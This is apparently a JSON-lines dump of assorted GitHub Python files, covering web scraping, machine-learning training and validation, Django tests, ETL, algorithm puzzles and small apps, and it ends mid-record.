+{"seq_id":"31292648236","text":"from selenium import webdriver #从 selenium 包导入了 webdriver 模块。webdriver 是用来实现浏览器自动化的。\nfrom selenium.webdriver.chrome.options import Options #允许我们改变default的selenium的行为,比如开启headless mode\nfrom selenium.webdriver.chrome.service import Service #从 selenium.webdriver.chrome.service 包导入了 Service 类。该类主要用于启动和停止 ChromeDriver。\nimport pandas as pd\n\n\n#headless mode:\noptions = Options() #让自动化selenium在background运行,不要再打卡一个网页\noptions.headless = True\n\nwebsite = \"https://www.thesun.co.uk/sport/football/\"\ndriver = webdriver.Chrome(service=Service('/Users/sunyueqian/Desktop/chrome-mac-arm64/chromedriver-mac-arm64/chromedriver'),options=options) \n#创建了一个 webdriver.Chrome 对象,它会启动一个新的 Chrome 浏览器窗口。你将使用这个对象来与浏览器进行交互。 后面是chrome driver的路径\ndriver.get(website) #导航到 website 变量所定义的 URL。\n\n\n\n#find_element只会返回第一个值,但是find_elements()会返回全部值在一个list中,所以我们可以遍历这个list\ncontainers = driver.find_elements(by=\"xpath\",value='//div[@class=\"teaser__copy-container\"]')\n\ntitles = []\nsubtitles = []\nlinks = []\n\n#driver.find_elements(by=\"xpath\", value='//div[@class=\"teaser__copy-container\"]/a/h2')\nfor container in containers:\n title_elements = container.find_elements(by=\"xpath\", value='./a/h3')\n subtitle_elements = container.find_elements(by=\"xpath\", value='./a/p')\n link_elements = container.find_elements(by=\"xpath\", value='./a')\n \n if title_elements and subtitle_elements and link_elements:\n title = title_elements[0].text\n subtitle = subtitle_elements[0].text\n link = link_elements[0].get_attribute(\"href\")\n \n titles.append(title)\n subtitles.append(subtitle)\n links.append(link)\n\n'''代码尝试寻找每个container元素中的 标签下的

元素。\n这是通过调用 container.find_elements 方法并使用 XPath 查询实现的。这个查询的值 './a/h3' 和 './a/p' 分别代表查找当前元素('./')的子元素 下的

标签。\n\n接着,代码尝试在每个 container 元素中寻找 标签,并获取它的 href 属性,也就是该链接的URL。\n\n如果这三个元素(title_elements,subtitle_elements 和 link_elements)都存在,\n那么它们的第一个元素(即索引为0的元素,因为find_elements返回的是一个列表)将被分别提取为标题,副标题和链接。\n注意,text 方法用于获取元素的文本内容,get_attribute(\"href\") 方法用于获取元素的 href 属性值,也就是链接的URL。\n\n然后,这些提取出来的标题,副标题和链接将被添加到之前初始化的三个列表(titles,subtitles 和 links)中。\n\n'''\n\nmy_dict = {'my_title': titles, 'my_subtitle': subtitles, 'my_link': links}\ndf_headlines = pd.DataFrame(my_dict)\n#df_headlines.to_csv(\"headline.csv\")\ndf_headlines.to_csv(\"headline_headless.csv\")\n\ndriver.quit()\n","repo_name":"suq87739918/Automation_with_Python","sub_path":"02 Web Automation & Web Scraping/2.1 Tags and Elements.py","file_name":"2.1 Tags and Elements.py","file_ext":"py","file_size_in_byte":3063,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8086706879","text":"from sklearn.metrics import f1_score, ndcg_score\nfrom tqdm import tqdm\nimport numpy as np\nimport torch\nfrom utils.config import config_params as params\n\n\ndef validate_fn(val_loader, model, criterion, epoch):\n \"\"\"\n The `validate_fn` function is responsible for evaluating a deep learning model's performance\n on a validation dataset. It computes various evaluation metrics, including loss,\n nDCG (Normalized Discounted Cumulative Gain), and F1 scores for different classification tasks.\n\n Parameters:\n - val_loader: DataLoader\n - A PyTorch DataLoader object that provides batches of validation data.\n - model: nn.Module\n - The deep learning model to be evaluated.\n - criterion: nn.Module\n - The loss function used for computing the loss between model predictions and target labels.\n - epoch: int\n - The current validation epoch.\n\n Returns:\n - avg_loss: float\n - The average loss computed during validation.\n - avg_ndcg: float\n - The average nDCG score computed during validation.\n - f1_micro: float\n - The micro-averaged F1 score computed across all classes during validation.\n - f1_micro_binary: float\n - The micro-averaged F1 score specifically for binary classification during validation.\n\n Description:\n - The `validate_fn` function is a crucial component for assessing the performance of a\n trained deep learning model on a separate validation dataset.\n - It operates in evaluation mode by setting the model to `eval()` and computes various metrics\n for model evaluation.\n - During the evaluation process, it iterates through the validation data loader, making predictions using\n the model and calculating loss values.\n - Additionally, it computes the nDCG score for task 1, micro-averaged F1 scores for tasks 2 and 3, and reports\n these metrics.\n - The function also calculates and returns the average loss, nDCG score, micro-averaged F1 score for all classes,\n and micro-averaged F1 score for binary classification.\n - These metrics provide insights into the model's performance on different aspects of the validation data.\n\n The `validate_fn` function is essential for assessing the quality of a trained model and guiding further\n adjustments or fine-tuning as needed.\n \"\"\"\n\n model.eval()\n all_loss = []\n all_targets = []\n all_predictions = []\n all_probabilities = []\n relevance_map = {'Exact': 1.0, 'Substitute': 0.1, 'Complement': 0.01, 'Irrelevant': 0.0}\n substitute_index = 1 # Update this index to match the 'Substitute' class in your data\n\n with torch.no_grad():\n for i, batch in enumerate(tqdm(val_loader), start=1):\n ids = batch['ids'].to(params['device'])\n mask = batch['mask'].to(params['device'])\n token_type_ids = batch['token_type_ids'].to(params['device'])\n targets = batch['target'].to(params['device'])\n\n logits, probabilities = model(ids, token_type_ids, mask)\n loss = criterion(logits, targets)\n all_loss.append(loss.item())\n # print(probs)\n probabilities = probabilities.cpu().numpy()\n all_probabilities.append(probabilities)\n\n # Convert the targets to a one-hot encoded format if not already one-hot\n all_targets.append(targets.cpu().numpy())\n\n # Get the predicted class from probabilities for F1 calculation\n predicted_classes = np.argmax(probabilities, axis=1)\n all_predictions.append(predicted_classes)\n\n # Concatenate results from all batches\n all_targets = np.vstack(all_targets)\n all_probabilities = np.vstack(all_probabilities)\n all_predictions = np.concatenate(all_predictions)\n\n # Prepare relevance scores based on the predicted classes for nDCG\n relevance_scores = np.array([relevance_map['Exact'] if t[0] == 1 else\n relevance_map['Substitute'] if t[1] == 1 else\n relevance_map['Complement'] if t[2] == 1 else\n relevance_map['Irrelevant'] for t in all_targets])\n\n # Calculate average loss\n avg_loss = np.mean(all_loss)\n\n # Task 1: Calculate nDCG\n scores_pred = all_probabilities[np.arange(len(all_predictions)), all_predictions]\n avg_ndcg = ndcg_score([relevance_scores], [scores_pred], k=5)\n\n # Task 2: Micro Averaged F1 Score across all classes\n f1_micro = f1_score(np.argmax(all_targets, axis=1), all_predictions, average='micro')\n\n # Task 3: Micro Averaged F1 Score for binary substitute classification\n binary_targets = all_targets[:, substitute_index]\n substitute_probabilities = all_probabilities[:, 1]\n binary_predictions = (substitute_probabilities > 0.3).astype(int)\n f1_micro_binary = f1_score(binary_targets, binary_predictions, average='micro')\n\n print(\n f\"Epoch: {epoch:02}. Valid. Loss: {avg_loss:.4f}. Task 1 nDCG: {avg_ndcg:.4f}. Task 2 F1 micro: {f1_micro:.4f}. Task 3 F1 micro: {f1_micro_binary:.4f}\")\n\n return avg_loss, avg_ndcg, f1_micro, f1_micro_binary\n","repo_name":"Ratansairohith/Query-Product-Ranking-Product-Classification","sub_path":"src/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":5110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71318886333","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nn = int(input())\r\ncolors = [list(map(int, input().split())) for _ in range(n)]\r\nanswer = float('inf')\r\nfor i in range(3):\r\n dp = [[float('inf')] * 3 for _ in range(n)]\r\n dp[0][i] = colors[0][i]\r\n for j in range(1, n):\r\n dp[j][0] = min(dp[j - 1][1], dp[j - 1][2]) + colors[j][0]\r\n dp[j][1] = min(dp[j - 1][0], dp[j - 1][2]) + colors[j][1]\r\n dp[j][2] = min(dp[j - 1][0], dp[j - 1][1]) + colors[j][2]\r\n\r\n for j in range(3):\r\n if i != j:\r\n answer = min(answer, dp[-1][j])\r\n\r\nprint(answer)\r\n","repo_name":"LimSB-dev/BaekjoonHub","sub_path":"백준/Gold/17404. RGB거리 2/RGB거리 2.py","file_name":"RGB거리 2.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"22619039209","text":"from model_mommy import mommy\nfrom django.test.client import Client\nfrom django.contrib.auth.models import User\nfrom survey.models.batch import Batch\nfrom django.core.urlresolvers import reverse\nfrom survey.models import (QuestionModule, Interviewer, EnumerationArea, QuestionTemplate, NumericalAnswer,\n TextAnswer, MultiChoiceAnswer, DateAnswer, QuestionOption, Interview, ListingTemplate,\n ODKAccess, Question, QuestionSet,Batch, ResponseValidation, Survey)\nfrom survey.models import QuestionTemplate, Survey, QuestionModule, Batch, ResponseValidation\nfrom survey.tests.base_test import BaseTest\n\nclass QuestionsTemplateViewsTest(BaseTest):\n\n def setUp(self):\n self.client = Client()\n user_without_permission = User.objects.create_user(username='useless', email='demo9@kant.com',\n password='I_Suck')\n raj = self.assign_permission_to(User.objects.create_user('demo9', 'demo9@kant.com', 'demo9'),\n 'can_view_batches')\n self.client.login(username='demo9', password='demo9')\n self.rsp = ResponseValidation.objects.create(validation_test=\"validation\",constraint_message=\"msg\")\n self.module = QuestionModule.objects.create(name=\"Education\",description=\"bla blaaa\")\n self.question_1 = QuestionTemplate.objects.create(module_id=self.module.id,identifier='1.1',text='ttt',answer_type='Numerical Answer',response_validation_id=1)\n\n def test_index(self):\n response = self.client.get(reverse('show_question_library'))\n self.failUnlessEqual(response.status_code, 200)\n\n def test_export(self):\n response = self.client.get(reverse('export_question_library'))\n self.failUnlessEqual(response.status_code, 200)\n\n def test_add(self):\n url = reverse('new_question_library')\n response = self.client.get(url)\n self.assertIn('questionform', response.context)\n data = {'text': 'lib test text', 'identifier': 'test_identifier',\n 'module': self.module.id, 'answer_type': 'Numerical Answer'}\n response = self.client.post(url, data=data)\n self.failUnlessEqual(response.status_code, 302)\n template = QuestionTemplate.objects.filter(text=data['text']).first()\n self.assertTrue(QuestionTemplate.objects.filter(text=data['text']).exists())\n created_question = QuestionTemplate.objects.filter(text=data['text']).first()\n url = reverse('edit_%s' % QuestionTemplate.resolve_tag(), args=(template.id, ))\n data['text'] = 'edited entry'\n response = self.client.post(url, data=data)\n self.assertTrue(QuestionTemplate.objects.filter(text=data['text']).count(), 1)\n\n def test_delete_template_question(self):\n question = mommy.make(QuestionTemplate)\n url = reverse('delete_question_template_page', args=(question.id, ))\n response = self.client.get(url)\n self.assertFalse(QuestionTemplate.objects.filter(id=question.id).exists())\n\n def test_filter(self):\n response = self.client.get(reverse('filter_question_list'))\n self.failUnlessEqual(response.status_code, 200)\n\n # def test_qt_does_not_exist(self):\n # message = \"Question Template does not exist.\"\n # self.assert_object_does_not_exist(reverse('edit_question_library',kwargs={\"question_id\":500}), message)\n\n # def test_should_throw_error_if_deleting_non_existing_qt(self):\n # message = \"Question Template does not exist.\"\n # self.assert_object_does_not_exist(reverse('delete_question_library',kwargs={\"question_id\":500}), message)","repo_name":"unicefuganda/uSurvey","sub_path":"survey/tests/views/test_question_template.py","file_name":"test_question_template.py","file_ext":"py","file_size_in_byte":3669,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"} +{"seq_id":"11675914769","text":"from openpyxl import load_workbook\nfrom .util import clean_row\n\ndef load_sheet(wbIn, sheet, skip_rows=None):\n wb = load_workbook(filename=wbIn, read_only=True)\n skip_rows = skip_rows + 1 if skip_rows else None\n rows = wb[sheet].iter_rows(min_row=skip_rows)\n header = [h.value for h in next(rows)]\n data = [clean_row(dict(zip(header, [c.value for c in r]))) for r in rows]\n return data\n","repo_name":"open-innovations/spreadsheet-cleaner","sub_path":"cleaner/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31596163699","text":"# Project Euler Prob 48\n# \n# Find the difference between the sum of the squares of the first one hundred natural numbers and the square of the sum.\n\nans = 0\nfor i in range(1, 1001):\n ans = ans + i**i\n\nprint(str(ans))\nprint(str(ans)[-10:])","repo_name":"makbar1/python","sub_path":"Python Project 1/prob48.py","file_name":"prob48.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14779034143","text":"from flask import Flask, render_template, request\nfrom caesar import rotate_string\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/', methods=['POST'])\ndef about():\n rot_amount = int(request.form['rotation-amount'])\n new_text = request.form['block_text']\n #run caesar algo\n b_text= rotate_string(new_text, rot_amount)#the return from caesar\n \n return render_template('index.html', new_text_box = b_text)\n \n\napp.run(debug = True) ","repo_name":"JennaFlo/web-caesar3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"71810185851","text":"import os\nfrom numpy.core.numerictypes import _construct_lookups\nimport torch\nimport numpy as np\nfrom torch._C import device\n\nfrom .dataloader import get_loaders\nfrom .optimizer import get_optimizer\nfrom .scheduler import get_scheduler\nfrom .criterion import get_criterion\nfrom .metric import get_metric\nfrom .model import LSTM, LSTMATTN, Bert, Saint, LastQuery\n\nimport wandb\nimport time\nimport datetime\n\nfrom .feature_selection import *\n\n\n# Get current learning rate\n# def get_lr(scheduler):\n# return scheduler.get_last_lr()[0]\n\n# for plateua schduler\ndef get_lr(optimizer):\n return optimizer.param_groups[0]['lr']\n\n\ndef run(args, train_data, valid_data):\n print(f'<< run: {args.is_cont} >>')\n train_loader, valid_loader = get_loaders(args, train_data, valid_data)\n\n # only when using warmup scheduler\n args.total_steps = int(len(train_loader.dataset) / args.batch_size) * (args.n_epochs)\n args.warmup_steps = args.total_steps // 10\n\n model = get_model(args)\n optimizer = get_optimizer(model, args)\n scheduler = get_scheduler(optimizer, args)\n\n best_auc = -1\n early_stopping_counter = 0\n for epoch in range(args.n_epochs):\n\n print(f\"Start Training: Epoch {epoch + 1}\")\n start = time.time()\n ### TRAIN\n train_auc, train_acc, train_loss = train(train_loader, model, optimizer, args)\n\n ### VALID\n auc, acc, _, _ = validate(valid_loader, model, args)\n\n sec = time.time() - start\n times = str(datetime.timedelta(seconds=sec)).split(\".\")\n times = times[0]\n print(f'<<<<<<<<<< {epoch + 1} EPOCH spent : {times} >>>>>>>>>>')\n\n # model save or early stopping\n wandb.log({\"epoch\": epoch, \"train_loss\": train_loss, \"train_auc\": train_auc, \"train_acc\": train_acc,\n \"valid_auc\": auc, \"valid_acc\": acc, \"Learning_rate\": get_lr(optimizer), })\n if auc > best_auc:\n best_auc = auc\n # torch.nn.DataParallel로 감싸진 경우 원래의 model을 가져옵니다.\n model_to_save = model.module if hasattr(model, 'module') else model\n save_checkpoint({\n 'epoch': epoch + 1,\n 'state_dict': model_to_save.state_dict(),\n },\n args.model_dir, 'model.pt',\n )\n early_stopping_counter = 0\n else:\n early_stopping_counter += 1\n if early_stopping_counter >= args.patience:\n print(f'EarlyStopping counter: {early_stopping_counter} out of {args.patience}')\n break\n\n # scheduler\n if args.scheduler == 'plateau':\n scheduler.step(best_auc)\n else:\n scheduler.step()\n\n\ndef train(train_loader, model, optimizer, args):\n print(f'<< train: {args.is_cont} >>')\n model.train()\n\n total_preds = []\n total_targets = []\n losses = []\n for step, batch in enumerate(train_loader):\n input = process_batch(batch, args)\n preds = model(input)\n targets = input[0] # correct\n\n loss = compute_loss(preds, targets)\n update_params(loss, model, optimizer, args)\n\n if step % args.log_steps == 0:\n print(f\"Training steps: {step} Loss: {str(loss.item())}\")\n\n # predictions\n preds = preds[:, -1]\n targets = targets[:, -1]\n\n if args.device == 'cuda':\n preds = preds.to('cpu').detach().numpy()\n targets = targets.to('cpu').detach().numpy()\n else: # cpu\n preds = preds.detach().numpy()\n targets = targets.detach().numpy()\n\n total_preds.append(preds)\n total_targets.append(targets)\n losses.append(loss)\n\n total_preds = np.concatenate(total_preds)\n total_targets = np.concatenate(total_targets)\n\n # Train AUC / ACC\n auc, acc = get_metric(total_targets, total_preds)\n loss_avg = sum(losses) / len(losses)\n print(f'TRAIN AUC : {auc} ACC : {acc}')\n return auc, acc, loss_avg\n\n\ndef validate(valid_loader, model, args):\n print(f'<< validate: {args.is_cont} >>')\n model.eval()\n\n total_preds = []\n total_targets = []\n for step, batch in enumerate(valid_loader):\n input = process_batch(batch, args)\n\n preds = model(input)\n targets = input[0] # correct\n\n # predictions\n preds = preds[:, -1]\n targets = targets[:, -1]\n\n if args.device == 'cuda':\n preds = preds.to('cpu').detach().numpy()\n targets = targets.to('cpu').detach().numpy()\n else: # cpu\n preds = preds.detach().numpy()\n targets = targets.detach().numpy()\n\n total_preds.append(preds)\n total_targets.append(targets)\n\n total_preds = np.concatenate(total_preds)\n total_targets = np.concatenate(total_targets)\n\n # Train AUC / ACC\n auc, acc = get_metric(total_targets, total_preds)\n\n print(f'VALID AUC : {auc} ACC : {acc}\\n')\n\n return auc, acc, total_preds, total_targets\n\n\ndef inference(args, test_data):\n print(f'<< inference: {args.is_cont} >>')\n model = load_model(args)\n model.eval()\n _, test_loader = get_loaders(args, None, test_data)\n\n total_preds = []\n\n for step, batch in enumerate(test_loader):\n input = process_batch(batch, args)\n\n preds = model(input)\n\n # predictions\n preds = preds[:, -1]\n\n if args.device == 'cuda':\n preds = preds.to('cpu').detach().numpy()\n else: # cpu\n preds = preds.detach().numpy()\n\n total_preds += list(preds)\n\n write_path = os.path.join(args.output_dir, \"output.csv\")\n if not os.path.exists(args.output_dir):\n os.makedirs(args.output_dir)\n with open(write_path, 'w', encoding='utf8') as w:\n print(\"writing prediction : {}\".format(write_path))\n w.write(\"id,prediction\\n\")\n for id, p in enumerate(total_preds):\n w.write('{},{}\\n'.format(id, p))\n\n\ndef get_model(args):\n print(f\"<< get_model : {args.is_cont} >>\")\n \"\"\"\n Load model and move tensors to a given devices.\n \"\"\"\n #cont_count = 3 # dummy?\n cont_count = len(CONTINUOUS)\n \n if args.model == 'lstm': model = LSTM(args)\n if args.model == 'lstmattn': model = LSTMATTN(args)\n if args.model == 'bert': model = Bert(args)\n if args.model == 'saint': model = Saint(args)\n if args.model == 'lastquery': model = LastQuery(args)\n\n model.to(args.device)\n\n return model\n\n\n# 배치 전처리\ndef process_batch(batch, args):\n # print(f\"<< process_batch : {args.is_cont} >>\")\n # 범주형 피처 컬럼 5개\n #test, question, tag, correct, mask = batch[-5:] # [batch_size(64), max_seq_len(20)]\n categorical_features = list(batch[-(len(DEFAULT)+len(CATEGORICAL)):])\n\n # change to float\n #mask = mask.type(torch.FloatTensor)\n #correct = correct.type(torch.FloatTensor)\n mask = categorical_features[-1].type(torch.FloatTensor) # categorical 중 마지막\n correct = categorical_features[0].type(torch.FloatTensor) # categorical 중 처음\n\n # interaction: 과거 정답 여부를 다음 시퀀스에 추가적인 feature로 사용하게끔 한칸 시프트 해준 feature\n # interaction을 임시적으로 correct를 한칸 우측으로 이동한 것으로 사용\n # saint의 경우 decoder에 들어가는 input이다\n interaction = correct + 1 # 패딩을 위해 correct값에 1을 더해준다. (정답 2, 오답 1)\n interaction = interaction.roll(shifts=1, dims=1)\n interaction_mask = mask.roll(shifts=1, dims=1)\n interaction_mask[:, 0] = 0\n interaction = (interaction * interaction_mask).to(torch.int64) # 가장 마지막으로 푼 문제를 제외하고 정답 2, 오답 1\n # print(interaction)\n # exit()\n # test_id, question_id, tag\n '''\n test = ((test + 1) * mask).to(torch.int64)\n question = ((question + 1) * mask).to(torch.int64)\n tag = ((tag + 1) * mask).to(torch.int64)\n '''\n for i in range(1, len(categorical_features)-1, 1): # 0번째인 correct, 마지막인 mask는 제외\n categorical_features[i] = ((categorical_features[i] + 1)*mask).to(torch.int64)\n\n\n if args.is_cont:\n #cont = batch[:-5]\n cont = batch[:-len(categorical_features)] # 수정\n # cont features도 padding을 위해 1을 더함\n for i in range(len(cont)):\n cont[i] = ((cont[i] + 1) * mask).to(torch.float32)\n\n # device memory로 이동\n '''\n test = test.to(args.device)\n question = question.to(args.device)\n tag = tag.to(args.device)\n correct = correct.to(args.device)\n mask = mask.to(args.device)\n interaction = interaction.to(args.device)\n '''\n categorical_features = [correct.to(args.device)] + [_.to(args.device) for _ in categorical_features[1:-1]] + [mask.to(args.device), interaction.to(args.device)]\n\n if args.is_cont:\n for i in range(len(cont)):\n cont[i] = cont[i].to(args.device)\n '''\n return (test, question,\n tag, correct, mask,\n interaction, cont)\n '''\n categorical_features.append(cont)\n return tuple(categorical_features)\n '''\n return (test, question,\n tag, correct, mask,\n interaction)\n '''\n return tuple(categorical_features)\n\n# loss계산하고 parameter update!\ndef compute_loss(preds, targets):\n \"\"\"\n Args :\n preds : (batch_size, max_seq_len)\n targets : (batch_size, max_seq_len)\n\n \"\"\"\n loss = get_criterion(preds, targets)\n # 마지막 시퀀드에 대한 값만 loss 계산\n loss = loss[:, -1]\n loss = torch.mean(loss)\n return loss\n\n\ndef update_params(loss, model, optimizer, args):\n loss.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(), args.clip_grad)\n optimizer.step()\n optimizer.zero_grad()\n\n\ndef save_checkpoint(state, model_dir, model_filename):\n print('saving model ...')\n if not os.path.exists(model_dir):\n os.makedirs(model_dir)\n torch.save(state, os.path.join(model_dir, model_filename))\n\n\ndef load_model(args):\n model_path = os.path.join(args.model_dir, args.model_name)\n print(\"Loading Model from:\", model_path)\n load_state = torch.load(model_path)\n model = get_model(args)\n\n # 1. load model state\n model.load_state_dict(load_state['state_dict'], strict=True)\n\n print(\"Loading Model from:\", model_path, \"...Finished.\")\n return model","repo_name":"bcaitech1/p4-dkt-woowa","sub_path":"lstm/dkt/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":10389,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"35480738965","text":"import pytest\n\n\nfrom siva.components.parameter import Parameter\nfrom siva.simulation.loop_component import LoopComponent, LoopVariable\nfrom siva.simulation.base_component import BaseComponent\nfrom siva.simulation.measurement import Measurement\n\nimport time\nimport tempfile\n\nclass Sim(BaseComponent):\n x = Parameter(10)\n m1 = Measurement(expr='self.y')\n\n def execute(self):\n print(\"Running ...\", time.time())\n time.sleep(.1)\n self.y = self.x*2\n\nclass Char(LoopComponent):\n x=LoopVariable(name='x', start=1, stop=10, n=10, target='sim.x')\n sim = Sim()\n m1 = Measurement(expr='sim.m1')\n\n@pytest.mark.skipif(False, reason=\"Isolating debug case\")\ndef test_sim():\n s = Sim()\n\n assert 'x' in Sim.params\n assert 'x' in s.params\n assert s.params['x'].name == 'x'\n assert s.params['x'].value == 10\n\n assert s.x == 10\n\n s.execute()\n assert s.y == 20\n\n s.measure()\n assert 'm1' in s.measurements\n\n assert s.measurements['m1'].value == 20\n assert s.m1 == 20\n\n\n\ndef test_char():\n work_dir = tempfile.mkdtemp()\n\n work_dir = r'P:\\work\\test_sim'\n import os, shutil\n if len(os.listdir(work_dir)):\n for file_object in os.listdir(work_dir):\n file_object_path = os.path.join(work_dir, file_object)\n if os.path.isfile(file_object_path):\n os.remove(file_object_path)\n else:\n shutil.rmtree(file_object_path)\n import os\n\n print(\"Work dir is\", work_dir)\n c = Char(name=\"Char\", work_dir=work_dir, log_file=\"char.log\")\n\n assert c is not None\n assert c.sim is not None\n assert 'x' in c.params\n\n\n assert 'loop_vars' in c._registries\n assert 'loop_vars' in Char._registries\n\n assert 'x' in c.loop_vars\n assert 'sim' in c.namespace\n\n c.start()\n print(c.results)\n assert c.results is not None\n\n assert set(c.results.columns) == set([\"x\", \"m1\"])\n assert len(c.results) == 10\n\n print(c.results)\n\n i=0\n for row in c.results:\n assert row['m1'] == (i+1)*2.\n i += 1\n\n\ndef print_log(root):\n import os\n assert root.log_file is not None\n assert os.path.exists(root.log_file)\n txt = open(root.log_file,'r').readlines()\n print(\"\".join(txt))\n\n\n\n","repo_name":"jasonpjacobs/Siva","sub_path":"siva/tests/test_simulation_sim.py","file_name":"test_simulation_sim.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"30347272022","text":"from collections import deque\nclass Solution:\n def validTree(self, n: int, edges: List[List[int]]) -> bool:\n # Should be a connected graph \n # len visited == len nodes \n # ALso for a tree -> edges = n-1 \n\n if len(edges) != n-1:\n return False \n\n edges_from_node = [[] for _ in range(n)]\n for edge in edges:\n edges_from_node[edge[0]].append(edge[1])\n edges_from_node[edge[1]].append(edge[0])\n \n stack = deque([0])\n visited_with_parent = {0:-1}\n\n while stack:\n node = stack.pop()\n for neighbor in edges_from_node[node]:\n if visited_with_parent.get(node) == neighbor:\n # if neighbor is a parent \n continue\n elif visited_with_parent.get(neighbor):\n # we saw this and its a cycle\n return False \n else:\n # add to seen \n visited_with_parent[neighbor] = node\n stack.append(neighbor)\n \n return len(visited_with_parent) == n\n","repo_name":"KrishnaSaiTarun/LeetCode","sub_path":"0261. Graph Valid Tree.py","file_name":"0261. Graph Valid Tree.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13481547674","text":"import configparser\nimport psycopg2\nfrom sql_queries import copy_table_queries, insert_table_queries\n\n# Load data into staging tables from S3 buckets\ndef load_staging_tables(cur, conn):\n \"\"\"\n Loads data into staging tables from S3 buckets.\n\n Args:\n cur (psycopg2.cursor): The database cursor.\n conn (psycopg2.connection): The database connection.\n\n Returns:\n None\n \"\"\"\n for query in copy_table_queries:\n cur.execute(query)\n conn.commit()\n\n# Insert data from staging tables into analytics tables\ndef insert_tables(cur, conn):\n \"\"\"\n Inserts data from staging tables into analytics tables.\n\n Args:\n cur (psycopg2.cursor): The database cursor.\n conn (psycopg2.connection): The database connection.\n\n Returns:\n None\n \"\"\"\n for query in insert_table_queries:\n cur.execute(query)\n conn.commit()\n\n# Main function to orchestrate the ETL process\ndef main():\n \"\"\"\n Main function to orchestrate the ETL (Extract, Transform, Load) process.\n It connects to the database, loads data into staging tables, and inserts it into analytics tables.\n\n Args:\n None\n\n Returns:\n None\n \"\"\"\n config = configparser.ConfigParser()\n config.read('dwh.cfg')\n\n conn = psycopg2.connect(\n host=config.get(\"CLUSTER\", \"HOST\"),\n dbname=config.get(\"CLUSTER\", \"DB_NAME\"),\n user=config.get(\"CLUSTER\", \"DB_USER\"),\n password=config.get(\"CLUSTER\", \"DB_PASSWORD\"),\n port=config.get(\"CLUSTER\", \"DB_PORT\")\n )\n cur = conn.cursor()\n\n #load_staging_tables(cur, conn)\n insert_tables(cur, conn)\n\n conn.close()\n\nif __name__ == \"__main__\":\n main()","repo_name":"gracopordeus/udacity","sub_path":"pt2_de_aws_datawarehouse/etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40157279621","text":"#!/usr/bin/env python\n\"\"\"CSV structure:\nVendorID,\ntpep_pickup_datetime,\ntpep_dropoff_datetime,\npassenger_count,\ntrip_distance,\nRatecodeID,\nstore_and_fwd_flag,\nPULocationID,\nDOLocationID,\npayment_type,\nfare_amount,\nextra,\nmta_tax,\ntip_amount,\ntolls_amount,\nimprovement_surcharge,\ntotal_amount,\ncongestion_surcharge\n\"\"\"\n\n\"\"\"mapper.py\"\"\"\n\nimport sys\n\n\ndef perform_map():\n for line in sys.stdin:\n line = line.strip()\n elements = line.split(',')\n\n #A numeric code signifying how the passenger paid for the trip.\n # 1= Credit card; 2= Cash; 3= No charge; 4= Dispute; 5= Unknown; 6= Voided trip.\n payment_type = 'Unknown'\n if elements[9] == '1':\n payment_type = 'Credit card'\n if elements[9] == '2':\n payment_type = 'Cash'\n if elements[9] == '3':\n payment_type = 'No charge'\n if elements[9] == '4':\n payment_type = 'Dispute'\n if elements[9] == '5':\n payment_type = 'Unknown'\n if elements[9] == '6':\n payment_type = 'Voided trip'\n\n month = elements[1][:7]\n tips = elements[13]\n #clean the data\n if month[:4] == '2020':\n print('%s\\t%s\\t%s' % (payment_type, month, tips))\n\n\nif __name__ == '__main__':\n perform_map()\n","repo_name":"mmingalov/kc-hadoop","sub_path":"homework_lesson5/mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38612845840","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport classy\n\n\ncosmo = classy.Class()\n\ncosmo.set({'output':'tCl,pM'})\n\ncosmo.compute()\n\ns,k,tau = cosmo.get_sources()\nprint(s.keys())\nidx = 200\nprint(tau[idx],cosmo.get_current_derived_parameters(['tau_rec']))\nplt.figure()\nplt.title(\"Temperature hierarchy\")\nplt.plot(k,s['delta_g'][:,idx])\nplt.plot(k,s['theta_g'][:,idx])\nplt.plot(k,s['shear_g'][:,idx])\nfor i in range(3,13):\n plt.plot(k,s['mult_Tg_{}'.format(i)][:,idx])\nplt.figure()\nplt.title(\"Polarization hierarchy\")\nfor i in range(11):\n plt.plot(k,s['mult_Pg_{}'.format(i)][:,idx])\nplt.show()\n","repo_name":"catinthetoaster/class_l_extract","sub_path":"test_mult.py","file_name":"test_mult.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13565526720","text":"from tkinter import *\nfrom tkinter import ttk\nimport time\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nfrom matplotlib.figure import Figure\nimport numpy as np\n\n\ndef stop():\n global loop\n loop = False\n global root\n root.destroy()\n\n\nloop = True\nroot = Tk()\nfrm = 